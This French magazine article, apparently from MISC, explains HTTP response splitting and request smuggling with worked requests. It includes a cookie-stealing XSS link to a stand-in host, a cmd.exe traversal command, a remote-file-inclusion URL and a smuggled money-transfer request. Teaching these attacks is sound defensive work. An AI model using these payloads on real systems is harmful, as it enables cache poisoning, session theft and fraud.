Catégorie : Administration réseau     Tags :      0 Commentaire

    Retrouvez cet article dans : Misc 24

    HTTP est un protocole formidable, plein de surprises et de fonctionnalités souvent insoupçonnées. Parmi ces dernières, la version 1.1 du protocole met en place un mécanisme de traitement séquentiel de plusieurs requêtes mises successivement à l’intérieur d’une seule et même session. À première vue, tout cela paraît innocent et bien intentionné. Mais que se passe-t-il lorsqu’une requête génère 2 réponses (response splitting) ou qu’une requête est interprétée différemment par un proxy cache et le serveur destinataire (request smuggling) ? Cela donne de la corruption de cache, du mass-defacement, du cross-site scripting sans contrôle total du champ Location de l’entête ou encore du phishing plus vrai que nature. Voila quelques conséquences de ces techniques méconnues et néanmoins passionnantes.

    1

    Séparations de réponses

    Commençons par la technique qui est " officiellement " la plus ancienne : le HTTP response splitting.

    1.1

    Principe de l’attaque

    Le principe est relativement simple, il s’agit de l’exploitation d’un mauvais traitement de requêtes illégitimes... Plus précisément de la capacité offerte d’injecter des données dans la réponse renvoyée par le serveur. Cette injection fonctionne donc avec le concours de trois acteurs :

    - Le serveur Web : celui par lequel la réponse " double " sera transmise ;

    - La cible : le système que nous allons corrompre, typiquement un proxy/cache ou un browser ;

    - L’attaquant : explicite.

    Le schéma global est le suivant :

    - 1 L’attaquant émet une requête (A) formée de telle manière qu’il peut manipuler l’en-tête de la réponse, et une requête (B) anodine dans la même session.

    - 2 Le serveur web répond, intégrant à l’en-tête certaines données " injectées " par l’attaquant via la requête (A).

    - 3 La cible interprète le flux de données provenant du serveur comme DEUX réponses (a1 et a2). Elle considérera donc (a2) comme la réponse à la requête (B).

    1.2

    Exemple

    Prenons ce simple extrait d’un script Perl de redirection d’URL situé à l’adresse http://www.serveur.com/index.pl?lang=fr :

    print $query->redirect("http://www.serveur.com/redirected.pl?lang=".$query->param("lang"));

    Lorsqu’un utilisateur se connecte à la page, il reçoit en réponse le contenu suivant :

    HTTP/1.1 302 Moved Temporarily

    Date: Mon, 23 Jan 2006 19:15:32 GMT

    Location: http://www.serveur.com/redirected.pl?lang=fr

    Server: apache

    Content-Type: text/html

    Connection: close

    <HTML>

    <HEAD>

    <TITLE>302 Moved Temporarily</TITLE>

    </HEAD>

    <BODY>

    <P>The document you requested has moved to <a href=" http://www.serveur.com/

    redirected.pl?lang=fr"> http://www.serveur.com/redirected.pl?lang=fr</A></P>

    </BODY>

    </HTML>

    Comme nous pouvons le voir, l’injection n’est autre que la simple conséquence de la recopie sans vérification d’une donnée fournie par un utilisateur. Par exemple, utilisons la valeur suivante pour le paramètre "lang" passé au script :

    foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-

    Type:%20text/html%0d%0aContent-Length:%207%0d%0a%0d%0a<html>Injection</html>

    Et appelons A la requête complète, à savoir :

    GET /index.pl?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/
    1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%207%0d%0a%0

    d%0a<html>Injection</html>

    Si nous reprenons le résultat fourni par le script de redirection en intégrant cette " variable ", nous obtenons le résultat suivant :

    HTTP/1.1 302 Moved Temporarily

    Date: Mon, 23 Jan 2006 19:15:32 GMT

    Location: http://www.serveur.com/redirected.pl?lang=foobar

    Content-Length: 0

    HTTP/1.1 200 OK

    Content-Type: text/html

    Content-Length: 7

    <html>Injection</html>

    Server: apache

    Content-Type: text/html

    Connection: close

    <HTML>

    <HEAD>

    <TITLE>302 Moved Temporarily</TITLE>

    </HEAD>

    <BODY>

    <P>The document you requested has moved to <a href=” http://www.serveur.com/

    redirected.pl?lang=fr”> http://www.serveur.com/redirected.pl?lang=fr</A></P>

    </BODY>

    </HTML>

    Un élément particulièrement important ici est la dernière ligne " rouge ". Elle précise que la longueur des données est de 0 octets. Par conséquent, les données reçues après l’en-tête sont les données correspondant à une nouvelle requête. La partie rouge est donc à interpréter comme une première réponse (a1), partie noire comme une seconde (a2). Maintenant si une requête (B) est envoyée dans la même session TCP que (A), la cible considérera que (a2), contenant notre injection, est la réponse à (B).

    1.3

    Utilisations du response splitting

    Maintenant que la technique est expliquée, voyons quelles peuvent être les conséquences de l’exploitation d’une telle vulnérabilité.

    1.3.1

    Cache poisonning

    Cette attaque est la première qui vient à l’esprit. Dans ce cas la cible est un proxy cache. Dans le schéma décrit plus haut, le proxy mettra dans son cache la réponse (a2) comme contenu correspondant à la requête (B). Dès lors, l’ensemble des utilisateurs du proxy émettant la requête (B) (par exemple GET http://www.serveur.com/index.html) se verront servir le contenu manipulé de la réponse (a2).

    1.3.2

    XSS

    Dans la mesure où il est considéré qu’au cours d’une même session TCP les requêtes sont à destination d’un même serveur, il est honnête de considérer que les serveurs vulnérables aux response splitting s’exposent au XSS. Il ne reste qu’à faire cliquer un utilisateur sur un lien qui aura l’allure de l’URL suivant :

    http://www.serveur.com/redirected.pl?lang=foobar%0d%0aContent-

    Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/

    html%0d%0aContent-Length:%20117%0d%0a%0d%0a<html><script>

    document.location="http://www.badserveur.com/cgi-bin/cookie.

    cgi?values="+document.cookie

    </script></html>

    En vert, nous trouvons l’URL de la page vulnérable, en rouge les données qui créent l’illusion d’une première réponse dont la taille des données est 0, et en noire la seconde réponse qui provoque la récupération des cookies sur un serveur malicieux. Bien entendu, l’utilisation des techniques de response splitting associées au clic malicieux ont également d’autres applications telles que la corruption du cache des navigateurs.

    1.3.3

    Attaques cross-users

    Ces attaques ont pour objectif de permettre à l’attaquant de manipuler ou d’intercepter les données reçues par un autre utilisateur partageant le même proxy. Certains proxies, tels que ISA server, optimisent leurs performances en mutualisant les requêtes destinées à des serveurs identiques. Ainsi si les utilisateurs Alice et Bob demandent deux pages différentes sur

    www.serveur.com, le proxy n’établira qu’une seule session TCP vers www.serveur.com et utilisera HTTP/1.1 pour récupérer " d’un seul coup " l’ensemble des données, lesquelles seront alors redistribuées vers Alice et Bob.

    Si Alice profite d’une page vulnérable au response splitting, sa requête (A) générera les réponse (a1) et (a2), la requête de Bob (B) générera quant à elle la réponse (b). Le proxy ayant mutualisé les requêtes (A) et (B) servira à Alice la première réponse (a1), la seconde (a2) à Bob et rejettera probablement la troisième (b). Cette technique est, heureusement, relativement complexe à mettre en oeuvre dans la mesure où elle requiert un excellent timing.

    Le prolongement de cette attaque est l’interception des données (b) destinées à Bob. Maintenant Alice émet une requête (C), toujours à destination du même serveur, et de telle sorte qu’elle arrive après celle de Bob (B), mais dans un délai suffisamment, court pour qu’elle soit mutualisée avec les deux autres (A) et (B). Nous avons vu plus haut que le proxy rejetait la réponse (b) à la requête de Bob. Si une troisième requête a été transmise via le proxy, ce dernier ne la rejettera plus (b), mais la servira comme réponse à C. Le schéma ci-dessous devrait permettre de clarifier la situation. Dans un premier temps, nous voyons les requêtes émises par Alice (A et C) et Bob (B). Elles sont transmises dans l’ordre suivant : A, B, C. A provoque un split et forme les réponses a1 et a2 alors que B et C sont à l’origine des réponses b et c. Le second graphe montre la redirection des réponses par le proxy. Alice récupère (b), données destinées à Bob alors que Bob voit (a2) comme réponse à sa requête (B)

    fig-1.jpg

    1.4

    Subtilités techniques

    1.4.1

    Autres vecteurs d’injection

    Nous nous sommes contentés jusqu’ici de la redirection, qui s’avère dans les faits être le vecteur le plus utilisé. Néanmoins une autre technique est assez communément exploitée. Il s’agit de l’utilisation des gestionnaires d’erreurs.

    En effet, dans certains cas, une erreur 404 provoquera une réponse de redirection contenant le chemin demandé dans le champ location. C’est en particulier le cas d’IIS/5.0 avec les scripts ASP.

    1.4.2

    Ça ne marche pas !

    C’est normal. Nous avons jusqu’ici vu les bases du response splitting. La mise en oeuvre est un petit peu plus délicate que ce que nous avons pu entrevoir précédemment. À défaut de détailler toutes les subtilités de la chose, voyons rapidement les différents points d’achoppement et les techniques permettant d’y remédier.

    -- Filtres de caractères : certains serveurs, tels que ASP.NET supprimeront silencieusement les séquences de caractères qui ne sont pas valides en UTF-8, ce qui pose problème pour le caractère < suivi d’un caractère alpha-numérique. La parade trouvée est diabolique : forcer l’encodage en UTF-7 en spécifiant le champ Content-Type suivant : Content-Type: text/ html;charset=utf-7. Pour information les caractères < ; et > ; deviendront respectivement +ADw- et +AD4-.

    -- Début du second message : dans nos exemples, nous considérions que la cible (proxy, browser) comprenait presque " naturellement " quand commençait le second message. C’est le cas parfois... par exemple dans le cas d’Apache 2.0. Cependant, deux autres comportements sont également observables. Le premier consiste à lire des buffers d’une taille prédéfinie. Ainsi IE 6.0 lit des blocs de 1024 octets. Il faudra par conséquent " bourrer " notre injection afin que la deuxième partie commence au 1025ième octet. Le dernier, observé sur Squid 2.4, lit les réponses par paquets. Ainsi, il faudra également bourrer notre injection afin de forcer l’émission de la seconde partie sur un autre paquet.

    -- Ressources plus ou moins " cachables " : il est également recommandé de donner une valeur au champ Last-Modified, qui fasse référence à une date future. De cette manière, il est possible de s’assurer, ou du moins d’accroître les chances, que le cache sera rafraîchi.

    -- Spécialités locales : il n’est pas surprenant que chaque cible potentielle présente des comportements différents. Ainsi Apache 2.0 (avec mod_proxy et mod_cache) ne cachera jamais les URL terminant par un /. Les cibles seront par conséquent

    de la forme http://www.cible.com/index.html. IE de son côté utilisera jusqu’à 4 connexions TCP, et il n’est pas garanti que la seconde requête soit effectivement envoyée via la même session que la première... Ce qui mène l’exploitation à une technique de bombardement peu subtile (mais néanmoins efficace), etc.

    2

    Request smuggling

    Donc, la version 1.1 de HTTP fournit la possibilité de lancer plusieurs requêtes au cours d’une unique connexion TCP. C’est tout ce dont nous avons besoin pour smuggler nos requêtes.

    2.1

    Principes du smuggling

    Une des notions importantes dans cette capacité d’émissions de requêtes multiples est la notion de pipelining. Cette dernière consiste à émettre les requêtes " à la chaîne ", c’est-à-dire sans même attendre les réponses. L’identification des différentes requêtes dans un flux unique apparaît inévitablement comme un vecteur riche de failles, diverses et variées. La seconde caractéristique de HTTP 1.1 est qu’il est défini par une RFC, et par conséquent par une quantité non négligeable de directives " SHOULD " et " MAY " ainsi que de cas indéfinis. Ainsi aucune précision n’est donnée concernant le traitement d’une requête contenant deux fois le champ Content-Length. En revanche il est " spécifié " que : " A server SHOULD read and forward a message-body on any request; if the request method does not include defined semantics for an entity-body, then the message-body SHOULD be ignored when handling the request. "

    Ce qui signifie qu’une requête ayant un contenu alors qu’elle ne devrait pas, DEVRAIT être transmise et ne DEVRAIT être traitée que par son destinataire. L’ensemble de ces éléments mis bout à bout sont les bases du smuggling dont l’objectif est simplement d’émettre plusieurs requêtes en pipeline, formatées de telle sorte que les équipements en coupure ou en écoute (tels que des proxies des IDS ou des IPS) n’en aient pas la même interprétation que le serveur destinataire de la requête.

    2.2

    Mise en oeuvre

    La mise en oeuvre du HTTP request smuggling est plus simple, mais le résultat plus incertain que pour le response splitting. En effet, si cette dernière technique repose sur une vulnérabilité de l’application serveur, la première, elle, est essentiellement du fait d’implémentations spécifiques de HTTP 1.1 sur des équipements différents tels que Squid vs. Apache. Le bon fonctionnement d’une telle attaque est par conséquent fortement dépendant des différents systèmes et de la capacité de l’attaquant à les identifier.

    2.2.1

    IIS 48k truncate

    Cette technique repose sur une particularité de IIS, qui tronque systématiquement le corps d’une requête à 48ko (= 49152 octets).

    Ainsi, prenons la requête suivante :

    1 POST /index.asp HTTP/1.1\r\n

    2 Host: 10.0.0.101\r\n

    3 Connection: Keep-Alive\r\n

    4 Content-Length: 49224\r\n

    5 \r\n

    6 <49152 caractères>

    7 POST /index.asp HTTP/1.0\r\n

    8 Connection: Keep-Alive\r\n

    9 Content-Length: 34\r\n

    10 \r\n

    11 POST /index.asp HTTP/1.0\r\n

    12 Foobar:

    13 POST /scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0\r\n

    14 Connection: Keep-Alive\r\n

    15 \r\n

    Pour un système " normal ", les requêtes seront interprétées de

    la manière suivante :

    1 Requête 1 : POST /index.asp (HTTP/1.1). Lignes 1 à 10. Les données contenues lignes 6, 7, 8 et 9 ont bien une taille de 49152 + 72 (lignes 7 à 10) = 49224 octets.

    2 Requête 2 : POST /index.asp (HTTP/1.0). Ligne 11 jusqu’à la fin. L’absence de \n\r à la fin de la ligne 12 indique que le contenu de la ligne 13 est la valeur de l’argument Foobar.

    Pour IIS 5.0 le comportement sera le suivant :

    1 Requête 1 : POST /index.asp (HTTP/1.1). Lignes 1 à 6. IIS tronque le corps de la requête après 49152 octets.

    2 Requête 2 : POST /index.asp (HTTP/1.1). Lignes 7 à 12. La ligne 9 précise la taille des données de la requête 34 octets).IIS considère donc que cette dernière se termine à la fin de la ligne 12.

    3 Requête 3 : UNICODE ! Ligne 13 à 15.

    Une telle utilisation permet, par exemple, de contourner un IPS...

    2.3

    Requête GET avec " Content-Length "

    Le champ Content-Length n’est pas obligatoire, mais DEVRAIT être utilisé : " Applications SHOULD use this field to indicate the transfer-length of the message-body. "

    Une requête GET ne devrait pas contenir de données dans le corps du message, les variables étant transmises dans l’URL. À ce titre, il n’y a aucune raison que le champ Content-Length soit présent, et encore moins pris en compte. Regardons par conséquent les différentes manières d’interpréter la séquence de requêtes suivantes :

    1 GET http://10.0.0.101/nevermind.asp HTTP/1.1\r\n

    2 Host: 10.0.0.101\r\n

    3 Connection: Keep-Alive\r\n

    4 Content-Length: 53\r\n

    5 \r\n

    6 GET http://10.0.0.101/index.html HTTP/1.1\r\n

    7 Foobar:

    8 GET /badcontent.html HTTP/1.0\r\n

    9 Connection: Keep-Alive\r\n

    10 \r\n

    Nous visons ici la corruption de cache d’un proxy. Les différentes séquences peuvent être interprétées de deux manières différentes en fonction de la nature du proxy et du serveur web.

    L’interprétation faite par le proxy doit être la suivante :

    1 Requête P-1 : GET ... nevermind.asp. Un GET n’ayant pas de raison d’avoir un contenu, la requête est considérée comme allant des lignes 1 à 5. En revanche la requête (et en particulier le champ Content-Length) est transmise telle quelle.

    2 Requête P-2 : GET ... index.html. Lignes 6 à 10. Dans la mesure où la ligne 7 ne se termine pas par \r\n, la ligne 8 est considérée comme sa " suite " et GET /badcontent.html HTTP/1.0 comme la valeur de la variable Foobar. Ainsi l’en-tête (qui constitue l’intégralité de la requête aux yeux du proxy) se termine ligne 10.

    Du point de vue du proxy, les deux réponses qui viendront du serveur web contiendront donc respectivement les contenus des pages nervermind.asp et index.html. Bien entendu, cette dernière est toujours " cacheable ". Si maintenant le serveur interprète la même séquence de requêtes de la manière suivante :

    - Requête S-1 : GET ... nevermind.asp. Lignes 1 à 7. Le serveur prenant en compte le champ Content-Length de l’en-tête, les lignes 6 et 7 sont considérées comme faisant partie du corps de la requête.

    - Requête S-2 : GET ... badcontent.html. Lignes 8 à 10.

    Naturellement le serveur continue sa lecture du flux de données et exécute la deuxième requête.

    Le proxy verra S-1 comme réponse à P-1 et S-2 en réponse à P-2, soit badcontent.html en lieu et place de index.html. Le fait que badcontent.html et index.html soient situés sur le même serveur limite l’impact de cette attaque, du moins tant que le contenu de badcontent.html n’est pas modifiable. Cette technique est toutefois également utilisable pour le contournement d’I(D|P)S.

    3

    Double champ Content-Length

    Maintenant que le principe est acquis, le seul fait de remarquer que la RFC ne précise pas quel comportement adopter lorsque l’en-tête contient deux champs Content-Length devrait suffire à faire germer quelques idées malicieuses.

    1 POST /index.asp HTTP/1.1\r\n

    2 Host: 10.0.0.101\r\n

    3 Connection: Keep-Alive\r\n

    4 Content-Type: application/x-www-form-urlencoded\r\n

    5 Content-Length: 0\r\n

    6 Content-Length: 86\r\n

    7 \r\n

    8 GET /phpBB2/includes/db.php?phpbb_root_path=http://bad/evil.pl HTTP/1.0\r\n

    9 Foobar:

    10 GET /index.asp HTTP/1.0\r\n

    11 \r\n

    Inutile de suivre pas à pas les potentielles étapes de traitement.

    Les systèmes prenant en compte le premier champ Content-Length traiteront les requêtes POST /index.asp (lignes 1 à 7) et l’inclusion sur PHPBB2 (lignes 8 à 11), alors que les systèmes prenant en compte le deuxième champ considéreront les requêtes POST / index.asp (lignes 1 à 9) et GET /index.asp (lignes 10 et 11). Utilisé ici pour contourner un I(D|P)S, ce mécanisme peut également être utilisé pour une petite opération de corruption de cache.

    En outre, en fonction du positionnement et de la nature des systèmes, il peut s’avérer nécessaire d’inverser l’ordre des requêtes afin que l’exploit soit en second.

    Dans le cas où le serveur Web voit les deux premières requêtes et non la troisième, nous parlerons de forward smuggling. Dans le cas inverse (le serveur Web voit la première et la troisième quand le proxy/IPS voit les deux premières), nous parlerons de backward smuggling. Le contournement d’I(D|P)S et la corruption de cache ne sont pas les deux seules malversations qui peuvent être effectuées via le smuggling. L’usurpation d’identité est également possible, en combinant cette technique de smuggling à l’utilisation d’un proxy qui mutualise les requêtes à destination d’un serveur commun. L’objectif est de faire exécuter sur le serveur cible le script /transfert.jsp?montant=100000000&compte=04165437865t avec les éléments d’authentification d’une tierce personne. Dans ce cas, l’attaquant émet la requête suivante vers un proxy :

    1 POST http://10.0.0.101/nevermind.jsp HTTP/1.1\r\n

    2 Connection: Keep-Alive\r\n

    3 Content-Type: application/x-www-form-urlencoded\r\n

    4 Content-Length: 7\r\n

    5 Content-Length: 153\r\n

    6

    7 foo=barGET /transfert.jsp?montant=100000000&compte=04165437865t HTTP/1.0\r\n

    8 Content-Type: application/x-www-form-urlencoded\r\n

    9 Content-Length: 0\r\n

    10 Foobar:

    Imaginons que le proxy est ISA server et que le serveur Web est Tomcat. ISA prend en compte le dernier champ Content-Length. 153 étant bien la taille des données transmises aux lignes 7 à 10, il transmet l’ensemble au serveur Web et considère la requête comme terminée. Tomcat, en revanche, prend en compte le premier champ et exécute une première requête POST /nevermind.

    jsp, qui commence au début de la ligne 1 et se termine après un contenu de 7 octets soit après le foo=bar de la ligne 7 :

    1 POST http://10.0.0.101/nevermind.jsp HTTP/1.1\r\n

    2 Connection: Keep-Alive\r\n

    3 Content-Type: application/x-www-form-urlencoded\r\n

    4 Content-Length: 7\r\n

    5 Content-Length: 153\r\n

    6

    7 foo=bar

    Le reste des données (de la suite de la ligne 7 à la ligne 10 – en rouge) est considéré comme une seconde requête, encore incomplète. Lorsque la victime émet une requête à destination du serveur via le proxy, ses données sont transférées sous la forme suivante :

    1 GET /mypage.jsp HTTP/1.0\r\n

    2 Cookie: my_id=1234567\r\n

    3 Authorization: Basic abcdefghijklmno\r\n

    4 \r\n

    Envoyées comme telles par le proxy, ces données viendront compléter la deuxième requête en attente sur le serveur (toujours la partie en rouge). Cette requête devient :

    GET /transfert.jsp?montant=100000000&compte=04165437865t HTTP/1.0\r\n

    Content-Type: application/x-www-form-urlencoded\r\n

    Content-Length: 0\r\n

    Foobar: GET /mypage.jsp HTTP/1.0\r\n

    Cookie: my_id=1234567\r\n

    Authorization: Basic ugwerwguwygruwy\r\n

    \r\n

    Certes, les probabilités de succès sont faibles, mais toujours plus élevées qu’au loto ou à l’Euro Millions...

    4

    Conclusion

    Les techniques dont nous venons de parler sont particulièrement méconnues. Elles sont pourtant efficaces et toujours exploitables.

    Leur impact est très variable en fonction de l’environnement et des conditions d’exploitation, mais elles ne représentent pas moins un risque potentiellement important.

    J’ai dit que ces techniques sont rares et, à ce titre, il n’existe quasiment pas de documentation à ce sujet. Aussi est-il nécessaire de

    citer les deux documents de référence dans ce domaine, à savoir HTTP request smuggling de Chaim LINHART, Amit KLEIN, Ronen HELED et Steve ORRIN et le mythique Divide and conquer de... Amit KLEIN. Respect.

    Retrouvez cet article dans : Misc 24

    Posté par (La rédaction) | Signature : Renaud Bidou | Article paru dans

    Laissez une réponse

    Vous devez avoir ouvert une session pour écrire un commentaire.